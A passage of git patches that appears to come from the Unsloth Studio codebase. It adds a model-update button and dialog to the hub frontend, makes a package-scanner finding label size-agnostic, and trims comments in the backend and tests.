diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 15066caa8f..8195d89528 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { hubTokenHeader } from "@/features/hub/lib/hub-token-header";
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import { formatFastApiDetail } from "@/lib/format-fastapi-error";
 import type {
@@ -313,8 +314,12 @@ export interface CachedModelRepo {
   last_modified?: number;
 }
 
-export async function listCachedModels(): Promise<CachedModelRepo[]> {
-  const response = await authFetch("/api/models/cached-models");
+export async function listCachedModels(
+  hfToken?: string | null,
+): Promise<CachedModelRepo[]> {
+  const response = await authFetch("/api/models/cached-models", {
+    headers: hubTokenHeader(hfToken),
+  });
   const data = await parseJsonOrThrow<{ cached: CachedModelRepo[] }>(response);
   return data.cached;
 }
@@ -778,8 +783,9 @@ export async function listGgufVariants(
   hfToken?: string,
 ): Promise<GgufVariantsResponse> {
   const params = new URLSearchParams({ repo_id: repoId });
-  if (hfToken) params.set("hf_token", hfToken);
-  const response = await authFetch(`/api/models/gguf-variants?${params}`);
+  const response = await authFetch(`/api/models/gguf-variants?${params}`, {
+    headers: hubTokenHeader(hfToken),
+  });
   return parseJsonOrThrow<GgufVariantsResponse>(response);
 }
 
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 412f35d1a0..94a7e1c56b 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -84,7 +84,9 @@ export interface GgufVariantDetail {
   filename: string;
   quant: string;
   size_bytes: number;
+  download_size_bytes?: number;
   downloaded?: boolean;
+  update_available?: boolean;
 }
 
 export interface GgufVariantsResponse {
diff --git a/studio/frontend/src/features/hub/catalog/download-card.tsx b/studio/frontend/src/features/hub/catalog/download-card.tsx
index 5083fb2f84..17177936ae 100644
--- a/studio/frontend/src/features/hub/catalog/download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-card.tsx
@@ -19,7 +19,11 @@ import {
   TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
-import { Delete02Icon, Download01Icon } from "@hugeicons/core-free-icons";
+import {
+  ArrowReloadHorizontalIcon,
+  Delete02Icon,
+  Download01Icon,
+} from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   DownloadProgressBar,
@@ -111,6 +115,73 @@ export function CardDeleteButton({
   );
 }
 
+export function CardUpdateButton({
+  label,
+  onClick,
+  emphasized = false,
+}: {
+  label: string;
+  onClick: () => void;
+  /** When true (a newer revision is available) the control becomes a prominent
+   *  labeled amber pill instead of the quiet hover-revealed icon — the
+   *  "update available" cue. Amber is the established status tone in this surface
+   *  (the older-cache hint banner), kept tinted (never solid) per the design
+   *  system's feedback-color convention, so the one emerald accent stays scarce. */
+  emphasized?: boolean;
+}) {
+  if (emphasized) {
+    return (
+      <Tooltip>
+        <TooltipTrigger asChild>
+          <button
+            type="button"
+            aria-label={label}
+            onClick={(e) => {
+              e.stopPropagation();
+              onClick();
+            }}
+            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-[12px] font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
+          >
+            <HugeiconsIcon
+              icon={ArrowReloadHorizontalIcon}
+              strokeWidth={2}
+              className="size-3.5"
+            />
+            Update
+          </button>
+        </TooltipTrigger>
+        <TooltipContent side="top" sideOffset={4}>
+          A newer version is available on Hugging Face
+        </TooltipContent>
+      </Tooltip>
+    );
+  }
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          aria-label={label}
+          onClick={(e) => {
+            e.stopPropagation();
+            onClick();
+          }}
+          className="inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-amber-500/10 hover:text-amber-600 focus-visible:opacity-100 group-hover/dl:opacity-100 dark:hover:bg-amber-500/15 dark:hover:text-amber-400"
+        >
+          <HugeiconsIcon
+            icon={ArrowReloadHorizontalIcon}
+            strokeWidth={1.75}
+            className="size-4"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="top" sideOffset={4}>
+        Update from Hugging Face
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
 /** Download / Cancel / Resume button for the safetensors and dataset cards. */
 export function DownloadActionButton({
   downloading,
@@ -213,3 +284,44 @@ export function DeleteConfirmDialog({
     </AlertDialog>
   );
 }
+
+/** Confirmation dialog shared by the model and quantization update flows. */
+export function UpdateConfirmDialog({
+  open,
+  onOpenChange,
+  title,
+  description,
+  updating,
+  onConfirm,
+}: {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+  title: string;
+  description: ReactNode;
+  updating: boolean;
+  onConfirm: () => void;
+}) {
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogTitle>{title}</AlertDialogTitle>
+          <AlertDialogDescription>{description}</AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={updating}>Cancel</AlertDialogCancel>
+          <AlertDialogAction
+            variant="default"
+            disabled={updating}
+            onClick={(e) => {
+              e.preventDefault();
+              onConfirm();
+            }}
+          >
+            {updating ? "Updating…" : "Update"}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index d089835c3d..9e4f6593b4 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -17,7 +17,10 @@ import {
   useDownloadManagerStore,
   useRepoDownload,
 } from "../download-manager";
-import { type GgufVariantDetail, deleteCachedModel } from "../inventory";
+import {
+  type GgufVariantDetail,
+  deleteCachedModel,
+} from "../inventory";
 import { formatBytes } from "../lib/format";
 import { type GgufFitClass, classifyGgufFit } from "../lib/gguf-fit";
 import { HUB_GGUF_RUN_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
@@ -27,7 +30,9 @@ import {
 } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
 import { useHfTokenStore } from "../stores/hf-token-store";
+import { useOnlineStatus } from "../hooks/use-online-status";
 import {
+  ArrowReloadHorizontalIcon,
   Delete02Icon,
   Download01Icon,
   InformationCircleIcon,
@@ -56,6 +61,7 @@ import {
   CardDivider,
   DeleteConfirmDialog,
   DownloadCard,
+  UpdateConfirmDialog,
 } from "./download-card";
 import {
   activeDownloadState,
@@ -160,9 +166,13 @@ function QuantBadge({
         <span className="min-w-0 truncate">{quant}</span>
       </span>
     ) : (
+      // Trigger quant label is the row's primary identity and is short
+      // (e.g. "Q4_K_M"); keep it `shrink-0` + `whitespace-nowrap` so it never
+      // collapses to "q…" when the Update/Run actions crowd the row. The info
+      // group's `overflow-hidden` sacrifices the trailing status tags instead.
       <span
         className={cn(
-          "inline-flex min-w-0 max-w-full shrink cursor-help items-center gap-1.5 text-[12.5px] font-medium tracking-tight tabular-nums",
+          "inline-flex shrink-0 cursor-help items-center gap-1.5 whitespace-nowrap text-[12.5px] font-medium tracking-tight tabular-nums",
           active ? "text-emerald-600 dark:text-emerald-400" : "text-foreground",
         )}
       >
@@ -173,7 +183,7 @@ function QuantBadge({
             className={cn("size-3.5 shrink-0", meta.iconClassName)}
           />
         )}
-        <span className="min-w-0 truncate">{quant}</span>
+        <span>{quant}</span>
       </span>
     );
   if (!showFit || tooltipMode === "none") return inner;
@@ -288,6 +298,11 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
           : "hover:bg-foreground/[0.05] dark:hover:bg-foreground/[0.06]",
       )}
     >
+      {/* Status (On device / Loaded / Partial) sits beside the quant on the
+          left so the model's identity reads as one unit; only the size pins
+          right. No per-row "GGUF" tag: every row here is a GGUF quant and the
+          trigger already labels it, so repeating it only stole the room the
+          quant label needs (it would otherwise truncate to "q…"). */}
       <span className="flex min-w-0 flex-1 items-center gap-2">
         <QuantBadge
           quant={item.label}
@@ -297,8 +312,6 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
           variant="menu"
           tooltipMode="lazy"
         />
-      </span>
-      <span className="ml-auto flex shrink-0 items-center gap-1.5">
         {item.downloaded && (
           <DotTag tone="success" label={loaded ? "Loaded" : "On device"} />
         )}
@@ -319,7 +332,8 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
             </TooltipContent>
           </Tooltip>
         )}
-        <DotTag tone="gguf" label="GGUF" />
+      </span>
+      <span className="ml-auto flex shrink-0 items-center gap-1.5">
         <span className="relative">
           <span className={cn(CHIP_BASE, CHIP_DEFAULT)}>
             {item.downloadSizeLabel}
@@ -377,6 +391,7 @@ export function GgufDownloadCard({
   onChange?: () => void;
 }) {
   const hfToken = useHfTokenStore((s) => s.token);
+  const online = useOnlineStatus();
   const localVariantPath = cachePath?.trim() || null;
   const { variants, loading, error, refreshError, refresh } =
     useGgufVariantFetchState({
@@ -394,6 +409,7 @@ export function GgufDownloadCard({
     selectedQuantState.repoId === repoId ? selectedQuantState.quant : null;
   const [open, setOpen] = useState(false);
   const [deleteTarget, setDeleteTarget] = useState<string | null>(null);
+  const [updateTarget, setUpdateTarget] = useState<string | null>(null);
   const [completedVariantKeys, setCompletedVariantKeys] = useState<
     ReadonlySet<string>
   >(() => new Set<string>());
@@ -416,7 +432,7 @@ export function GgufDownloadCard({
     if (completedVariantKeys.size === 0) return withLive;
     return withLive.map((v) =>
       completedVariantKeys.has(normalizeGgufVariantIdentity(v.quant))
-        ? { ...v, downloaded: true, partial: false }
+        ? { ...v, downloaded: true, partial: false, update_available: false }
         : v,
     );
   }, [completedVariantKeys, liveVariantStates, rawSortedVariants]);
@@ -444,6 +460,7 @@ export function GgufDownloadCard({
       setCompletedVariantKeys((prev) =>
         prev.has(key) ? prev : new Set(prev).add(key),
       );
+      void refresh();
     },
   });
   const progress = job.progress;
@@ -529,6 +546,8 @@ export function GgufDownloadCard({
   const selectedDownloadSizeLabel = selected
     ? formatBytes(ggufVariantDownloadSizeBytes(selected))
     : null;
+  const updateAvailable =
+    selected?.downloaded === true && selected.update_available === true;
   const selectedVariantKey = selectedQuant
     ? normalizeGgufVariantIdentity(selectedQuant)
     : null;
@@ -587,6 +606,35 @@ export function GgufDownloadCard({
       setDeleteTarget(null);
     },
   });
+  const updateTargetVariant =
+    updateTarget && sortedVariants
+      ? sortedVariants.find((v) => ggufVariantsMatch(v.quant, updateTarget))
+      : null;
+  const updateTargetLabel = updateTargetVariant
+    ? ggufVariantDisplayLabel(updateTargetVariant)
+    : updateTarget;
+  // Confirm → close the dialog and run the re-download as a MANAGED download, so
+  // it surfaces in the "Downloading N items" panel with correct manifest-based
+  // progress and a working Cancel — the same UX as any other download — instead
+  // of a bespoke modal/toast. The worker re-resolves `main` and pulls only the
+  // changed blobs, so the cached version stays intact (and runnable) until the
+  // new revision lands. Completion refreshes the variant list, whose metadata
+  // carries the "Update available" cue.
+  const handleConfirmUpdate = useCallback(() => {
+    if (!updateTarget) return;
+    const variant = updateTarget;
+    const expectedBytes =
+      updateTargetVariant?.download_size_bytes ??
+      updateTargetVariant?.size_bytes ??
+      0;
+    setUpdateTarget(null);
+    void downloadManager.requestStart({
+      kind: "model",
+      repoId,
+      variant,
+      expectedBytes,
+    });
+  }, [updateTarget, updateTargetVariant, repoId]);
   const variantListUnavailable = !sortedVariants || sortedVariants.length === 0;
   const showVariantLoadingState = loading && variantListUnavailable;
 
@@ -640,24 +688,44 @@ export function GgufDownloadCard({
         job={job}
         progress={downloadingThisVariant ? progress : null}
         dialogs={
-          <DeleteConfirmDialog
-            open={deleteTarget !== null}
-            onOpenChange={(o) => {
-              if (!o && !deleting) setDeleteTarget(null);
-            }}
-            title="Delete quantization?"
-            deleting={deleting}
-            onConfirm={() => void runDelete()}
-            description={
-              <>
-                This will remove{" "}
-                <span className="font-medium text-foreground">
-                  {repoId} ({deleteTargetLabel})
-                </span>{" "}
-                from disk. You can re-download it later.
-              </>
-            }
-          />
+          <>
+            <DeleteConfirmDialog
+              open={deleteTarget !== null}
+              onOpenChange={(o) => {
+                if (!o && !deleting) setDeleteTarget(null);
+              }}
+              title="Delete quantization?"
+              deleting={deleting}
+              onConfirm={() => void runDelete()}
+              description={
+                <>
+                  This will remove{" "}
+                  <span className="font-medium text-foreground">
+                    {repoId} ({deleteTargetLabel})
+                  </span>{" "}
+                  from disk. You can re-download it later.
+                </>
+              }
+            />
+            <UpdateConfirmDialog
+              open={updateTarget !== null}
+              onOpenChange={(o) => {
+                if (!o) setUpdateTarget(null);
+              }}
+              title="Update quantization?"
+              updating={false}
+              onConfirm={handleConfirmUpdate}
+              description={
+                <>
+                  This will re-download the latest version of{" "}
+                  <span className="font-medium text-foreground">
+                    {repoId} ({updateTargetLabel})
+                  </span>{" "}
+                  from Hugging Face.
+                </>
+              }
+            />
+          </>
         }
       >
         <Popover open={open} onOpenChange={setOpen}>
@@ -668,21 +736,24 @@ export function GgufDownloadCard({
                 e.preventDefault();
                 setOpen((o) => !o);
               }}
-              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2.5 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.04] dark:data-[state=open]:bg-white/[0.06]"
+              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.04] dark:data-[state=open]:bg-white/[0.06]"
             >
-              {selected ? (
-                <QuantBadge
-                  quant={selectedLabel ?? selected.quant}
-                  fit={selectedFit ?? "oom"}
-                  showFit={showFitInfo}
-                  active={Boolean(selectedIsActive)}
-                />
-              ) : (
-                <span className="text-[12.5px] text-muted-foreground">
-                  Select quantization
-                </span>
-              )}
-              <span className="ml-auto flex shrink-0 items-center gap-1.5 text-[12px] text-muted-foreground">
+              {/* Quant label + status tags travel together as one left-aligned
+                  group so the fit-info icon never floats orphaned from its tags;
+                  only the chevron pins right, the standard select affordance. */}
+              <span className="flex min-w-0 flex-1 items-center gap-2 overflow-hidden text-[12px] text-muted-foreground">
+                {selected ? (
+                  <QuantBadge
+                    quant={selectedLabel ?? selected.quant}
+                    fit={selectedFit ?? "oom"}
+                    showFit={showFitInfo}
+                    active={Boolean(selectedIsActive)}
+                  />
+                ) : (
+                  <span className="text-[12.5px] text-muted-foreground">
+                    Select quantization
+                  </span>
+                )}
                 {selected?.downloaded && (
                   <DotTag
                     tone="success"
@@ -710,15 +781,15 @@ export function GgufDownloadCard({
                 {selected &&
                   selectedDownloadSizeLabel &&
                   !selected.downloaded && (
-                    <span className="tabular-nums">
+                    <span className="shrink-0 tabular-nums">
                       {selectedDownloadSizeLabel}
                     </span>
                   )}
-                <HugeiconsIcon
-                  icon={ChevronDownStandardIcon}
-                  className="ml-0.5 size-3.5 shrink-0"
-                />
               </span>
+              <HugeiconsIcon
+                icon={ChevronDownStandardIcon}
+                className="size-3.5 shrink-0 text-muted-foreground"
+              />
             </button>
           </PopoverTrigger>
           <PopoverContent
@@ -726,7 +797,7 @@ export function GgufDownloadCard({
             side="bottom"
             sideOffset={8}
             avoidCollisions={false}
-            className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[200px] gap-0 overflow-hidden p-0 py-2 ring-0"
+            className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[300px] gap-0 overflow-hidden p-0 py-2 ring-0"
           >
             <div className="max-h-[344px] overflow-y-auto [scrollbar-width:thin]">
               {variantMenuItems.map((item) => {
@@ -760,6 +831,25 @@ export function GgufDownloadCard({
 
         {!isGgufRunCta && <CardDivider />}
 
+        {selected?.downloaded &&
+          online &&
+          updateAvailable &&
+          !selectedIsActive &&
+          !downloadingThisVariant && (
+            <button
+              type="button"
+              onClick={() => selected && setUpdateTarget(selected.quant)}
+              aria-label={`Update ${repoId}`}
+              className="hub-action-btn ml-1 text-amber-700 dark:text-amber-300"
+            >
+              <HugeiconsIcon
+                icon={ArrowReloadHorizontalIcon}
+                strokeWidth={1.75}
+              />
+              Update
+            </button>
+          )}
+
         <button
           type="button"
           disabled={downloadAction.disabled}
diff --git a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
index 7edae555d8..e40f5fd5ac 100644
--- a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
@@ -23,6 +23,12 @@ import {
   type ModelInventoryFormat,
   deleteCachedModel,
 } from "../inventory";
+import {
+  downloadManager,
+  jobKeyOf,
+  selectActiveJob,
+  useDownloadManagerStore,
+} from "../download-manager";
 import { formatBytes } from "../lib/format";
 import { ggufVariantsMatch } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
@@ -37,16 +43,23 @@ import {
 } from "@hugeicons/core-free-icons";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useMemo, useState } from "react";
+import { useCallback, useMemo, useState } from "react";
 import {
   ggufVariantDisplayLabel,
   sortLocalGgufVariants,
 } from "../lib/gguf-variant-sort";
 import { DotTag } from "./dot-tag";
-import { CardDeleteButton, DeleteConfirmDialog } from "./download-card";
+import {
+  CardDeleteButton,
+  CardUpdateButton,
+  DeleteConfirmDialog,
+  UpdateConfirmDialog,
+} from "./download-card";
 import { PathInfoButton } from "./path-info-button";
+import { TransportConflictDialog } from "./transport-conflict-dialog";
 import { useCardDelete } from "./use-card-delete";
 import { useGgufVariantFetchState } from "./use-gguf-variant-fetch-state";
+import { useOnlineStatus } from "../hooks/use-online-status";
 
 type LocalLoadOptions = {
   ggufVariant?: string;
@@ -196,8 +209,34 @@ export function LocalOnDeviceCard({
   onChange,
 }: LocalOnDeviceCardProps) {
   const [deleteOpen, setDeleteOpen] = useState(false);
+  const [updateOpen, setUpdateOpen] = useState(false);
   const [variantOpen, setVariantOpen] = useState(false);
+  const [updateConflictKey, setUpdateConflictKey] = useState<string | null>(
+    null,
+  );
+  const updateTransportConflict = useDownloadManagerStore((state) =>
+    updateConflictKey
+      ? (state.conflicts[updateConflictKey]?.info ?? null)
+      : null,
+  );
+  const cancelUpdateConflict = useCallback(() => {
+    if (updateConflictKey) downloadManager.cancelConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const resumeUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.resumeConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const restartUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.restartConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
   const hfToken = useHfTokenStore((s) => s.token);
+  // Update availability is derived from the GGUF variant metadata; offline rows
+  // keep the button hidden because there is no remote revision to fetch.
+  const online = useOnlineStatus();
   const { deleting, runDelete } = useCardDelete({
     action: async () => {
       if (!repoId) return;
@@ -221,6 +260,13 @@ export function LocalOnDeviceCard({
     enabled: needsVariantSelection,
     errorFallback: "Failed to load quantizations",
   });
+  const remoteVariantState = useGgufVariantFetchState({
+    repoId: repoId ?? modelId,
+    hfToken,
+    enabled:
+      online && source === "hf_cache" && needsVariantSelection && !!repoId,
+    errorFallback: "Failed to check for updates",
+  });
   const variantKey = currentVariantState.key;
   const [selectedVariantState, setSelectedVariantState] = useState<{
     key: string;
@@ -232,7 +278,23 @@ export function LocalOnDeviceCard({
 
   const canDelete =
     source === "hf_cache" && !!repoId && !isActive && !isLoading;
-  const variants = currentVariantState.variants;
+  const variants = useMemo(() => {
+    const localVariants = currentVariantState.variants;
+    const remoteVariants = remoteVariantState.variants;
+    if (!localVariants || !remoteVariants) return localVariants;
+    return localVariants.map((variant) => {
+      const remoteVariant = remoteVariants.find((remote) =>
+        ggufVariantsMatch(remote.quant, variant.quant),
+      );
+      if (!remoteVariant) return variant;
+      return {
+        ...variant,
+        download_size_bytes:
+          remoteVariant.download_size_bytes || variant.download_size_bytes,
+        update_available: remoteVariant.update_available === true,
+      };
+    });
+  }, [currentVariantState.variants, remoteVariantState.variants]);
   const sortedVariants = useMemo(
     () =>
       variants
@@ -273,6 +335,54 @@ export function LocalOnDeviceCard({
     sortedVariants?.find((variant) =>
       ggufVariantsMatch(variant.quant, selectedQuant),
     ) ?? null;
+  // True while a managed download/update for this repo+variant is in flight.
+  const updateJobActive = useDownloadManagerStore((s) =>
+    repoId
+      ? Boolean(
+          selectActiveJob(
+            s,
+            "model",
+            repoId,
+            needsVariantSelection ? selectedQuant : null,
+          ),
+        )
+      : false,
+  );
+  const updateTargetVariant = needsVariantSelection ? selectedQuant : null;
+  const updateExpectedBytes =
+    selectedVariant?.download_size_bytes ?? selectedVariant?.size_bytes ?? 0;
+  const updateAvailable =
+    needsVariantSelection &&
+    selectedVariant?.downloaded === true &&
+    selectedVariant.update_available === true;
+  const canUpdate =
+    online &&
+    source === "hf_cache" &&
+    !!repoId &&
+    !isActive &&
+    !isLoading &&
+    !updateJobActive &&
+    updateAvailable;
+  // Update runs as a MANAGED download (same path as a normal download) so it
+  // shows in the Downloads panel with manifest-based progress and a working
+  // Cancel. The worker re-resolves `main` and pulls changed blobs while the old
+  // cached copy stays runnable until the new revision verifies.
+  const handleConfirmUpdate = () => {
+    if (!repoId || !updateTargetVariant) return;
+    setUpdateOpen(false);
+    void downloadManager.requestStart({
+      kind: "model",
+      repoId,
+      variant: updateTargetVariant,
+      expectedBytes: updateExpectedBytes,
+    }).then((outcome) => {
+      if (outcome === "conflict") {
+        setUpdateConflictKey(jobKeyOf("model", repoId, updateTargetVariant));
+      }
+      void currentVariantState.refresh();
+      void remoteVariantState.refresh();
+    });
+  };
   const selectedVariantIsActive =
     needsVariantSelection && selectedQuant
       ? isActive && ggufVariantsMatch(activeGgufVariant, selectedQuant)
@@ -426,6 +536,13 @@ export function LocalOnDeviceCard({
               )}
             </span>
             <div className="ml-auto flex items-center gap-0.5">
+              {canUpdate && (
+                <CardUpdateButton
+                  label={`Update ${repoId}`}
+                  emphasized
+                  onClick={() => setUpdateOpen(true)}
+                />
+              )}
               {canDelete && (
                 <CardDeleteButton
                   label={`Delete ${repoId}`}
@@ -544,6 +661,22 @@ export function LocalOnDeviceCard({
           </>
         }
       />
+      <UpdateConfirmDialog
+        open={updateOpen}
+        onOpenChange={(o) => {
+          if (!o) setUpdateOpen(false);
+        }}
+        title={`Update ${repoId}?`}
+        updating={false}
+        onConfirm={handleConfirmUpdate}
+        description="Re-download the latest version of this model from Hugging Face. Progress shows in the Downloads panel."
+      />
+      <TransportConflictDialog
+        conflict={updateTransportConflict}
+        onCancel={cancelUpdateConflict}
+        onKeepTransport={resumeUpdateConflict}
+        onSwitchTransport={restartUpdateConflict}
+      />
     </div>
   );
 }
diff --git a/studio/frontend/src/features/hub/inventory/api.ts b/studio/frontend/src/features/hub/inventory/api.ts
index 8ae3f7d3cd..0e01c5c0cb 100644
--- a/studio/frontend/src/features/hub/inventory/api.ts
+++ b/studio/frontend/src/features/hub/inventory/api.ts
@@ -163,6 +163,7 @@ export interface GgufVariantDetail {
   size_bytes: number;
   download_size_bytes?: number;
   downloaded?: boolean;
+  update_available?: boolean;
   partial?: boolean;
   partial_transport?: string | null;
 }

From 71207827ca05c83b5fb54cf796f697870e7efad1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 22:24:46 -0700
Subject: [PATCH 164/306] Keep the JS-bundle scan check size-agnostic so the
 baseline does not drift (#6770)

check_js_file put the bundle's KB size inside the finding's check label, which is
part of the baseline match key (package, file, check). When tensorboard's
projector_binary.js grew from 1918 KB to 1933 KB, the reviewed baseline entry stopped
matching and the benign HIGH resurfaced, red-failing the studio and extras
scan-packages shards. Move the size into the evidence field (shown for review, not
matched) and keep the check label constant, then update the one tensorboard baseline
entry to the size-agnostic label. The finding is suppressed again and will not
re-break when the bundle grows by a few KB. Scanner self-tests pass unchanged.

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 scripts/scan_packages.py            | 7 ++++---
 scripts/scan_packages_baseline.json | 2 +-
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index 4be9fc5efb..ce9763e235 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -1208,9 +1208,10 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
                 HIGH,
                 package,
                 filename,
-                f"Python wheel ships large ({len(content) // 1024} KB) JS bundle "
-                "(uncommon; manually review)",
-                "",
+                # Size stays in evidence, not the check label, so the baseline key
+                # does not drift when a wheel's bundle grows by a few KB.
+                "Python wheel ships large JS bundle (uncommon; manually review)",
+                f"{len(content) // 1024} KB JS bundle",
             )
         )
     return findings
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index f953f4d206..0c10ae3222 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -1181,7 +1181,7 @@
     {
       "package": "tensorboard",
       "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large (1918 KB) JS bundle (uncommon; manually review)",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
       "severity": "HIGH",
       "evidence": ""
     },

From 8cc05ac89c2c1e15ad1e8fbd1baf7b7e2a5fa463 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 23:13:36 -0700
Subject: [PATCH 165/306] Reduce comments across recent fixes (#6776)

Condense the verbose comments and docstrings added by the recent
chat template, GPT-OSS detection, PEFT tensor-parallel, and Studio
inference proxy fixes. Comments and whitespace only; no code changes.
---
 studio/backend/core/inference/llama_cpp.py |  5 ++---
 tests/python/test_change_system_message.py | 19 +++++++------------
 tests/saving/test_is_gpt_oss_detection.py  |  8 ++------
 unsloth/chat_templates.py                  |  6 ++----
 unsloth/import_fixes.py                    | 17 +++++++----------
 5 files changed, 20 insertions(+), 35 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 211543e311..af62a29679 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -7457,9 +7457,8 @@ class LlamaCppBackend:
                 return False
 
             try:
-                # trust_env=False: never route the loopback health probe through
-                # an ambient HTTP(S)_PROXY. A proxy that 503s for 127.0.0.1 makes
-                # the probe loop until timeout and hangs Studio load.
+                # trust_env=False: skip ambient HTTP(S)_PROXY, which if it 503s
+                # for 127.0.0.1 loops the probe until timeout and hangs load.
                 resp = httpx.get(url, timeout = 2.0, trust_env = False)
                 if resp.status_code == 200:
                     return True
diff --git a/tests/python/test_change_system_message.py b/tests/python/test_change_system_message.py
index 1ccd6547b2..7edd873a8d 100644
--- a/tests/python/test_change_system_message.py
+++ b/tests/python/test_change_system_message.py
@@ -7,9 +7,7 @@ import pytest
 
 
 def _load_change_system_message():
-    # Extract just _change_system_message from chat_templates.py so the test runs
-    # without importing unsloth (which needs unsloth_zoo / a GPU). Same pattern as
-    # tests/saving/test_is_gpt_oss_detection.py.
+    # Extract _change_system_message without importing unsloth (needs unsloth_zoo / a GPU).
     source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
     tree = ast.parse(source.read_text(encoding = "utf-8"))
     funcs = [
@@ -28,12 +26,11 @@ def _load_change_system_message():
     return namespace["_change_system_message"]
 
 
-CUSTOM = "mycustom"  # not in DEFAULT_SYSTEM_MESSAGE -> no predefined default
+CUSTOM = "mycustom"  # no predefined default
 
 
 def test_custom_template_fills_placeholder():
-    # A custom template with a {system_message} placeholder must be filled, not
-    # left with the literal placeholder.
+    # A {system_message} placeholder must be filled, not left literal.
     fn = _load_change_system_message()
     template, used = fn("System: {system_message}\nUser:", CUSTOM, "You are a pirate")
     assert template == "System: You are a pirate\nUser:"
@@ -42,9 +39,8 @@ def test_custom_template_fills_placeholder():
 
 
 def test_custom_template_preserves_backslashes():
-    # Why str.replace and not re.sub: a system message with backslashes (Windows
-    # paths, LaTeX, group-like text) must be inserted verbatim. re.sub treats the
-    # replacement specially -- r"C:\Users" raises bad-escape, r"\1" is a group ref.
+    # str.replace not re.sub: re.sub treats backslashes specially (r"C:\Users"
+    # bad-escape, r"\1" group ref), so messages must be inserted verbatim.
     fn = _load_change_system_message()
     for msg in (r"C:\Users\me", r"\frac{a}{b}", r"see \1 here"):
         template, used = fn("System: {system_message}", CUSTOM, msg)
@@ -53,8 +49,7 @@ def test_custom_template_preserves_backslashes():
 
 
 def test_custom_template_requires_system_message():
-    # A custom template with a placeholder but no system message must raise,
